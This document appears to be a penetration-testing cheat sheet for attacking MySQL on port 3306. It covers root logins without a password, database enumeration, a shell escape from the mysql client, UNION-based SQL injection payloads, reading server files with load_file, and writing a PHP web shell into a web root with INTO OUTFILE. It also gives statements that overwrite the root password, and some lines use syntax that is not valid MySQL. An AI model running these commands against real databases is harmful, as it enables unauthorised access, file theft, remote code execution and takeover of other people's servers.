SQL - Port 3306
Basic Usage
mysql -u root # Connect to root without password
mysql -u root -p # A password will be asked (check someone)
mysql -h <Hostname> -u root
mysql -h <Hostname> -u root@localhost
Example: mysql -uroot -pplbkac -h192.168.87.148 # This worked to pass a password in for some reason.
MySQL commands
show databases;
use <database>;
show tables;
describe <table_name>;
show columns from <table>;
select version(); #version
select @@version(); #version
select user(); #User
select database(); #database name
select name FROM sys.databases; # grab all database names
SELECT * FROM *databasename*.information_schema.tables; # grab all tables
#Get a shell with the mysql client user
\! sh
#Basic MySQLi
Union Select 1,2,3,4,group_concat(0x7c,table_name,0x7C) from information_schema.tables
Union Select 1,2,3,4,column_name from information_schema.columns where table_name="<TABLE NAME>"
#Read & Write
## Yo need FILE privilege to read & write to files.
select load_file('/var/lib/mysql-files/key.txt'); #Read file
select 1,2,"<?php echo shell_exec($_GET['c']);?>",4 into OUTFILE 'C:/xampp/htdocs/back.php'
#Try to change MySQL root password
UPDATE mysql.user SET Password=PASSWORD('MyNewPass') WHERE User='root';
UPDATE mysql.user SET authentication_string=PASSWORD('MyNewPass') WHERE User='root';
FLUSH PRIVILEGES;
quit;
Last updated
Was this helpful?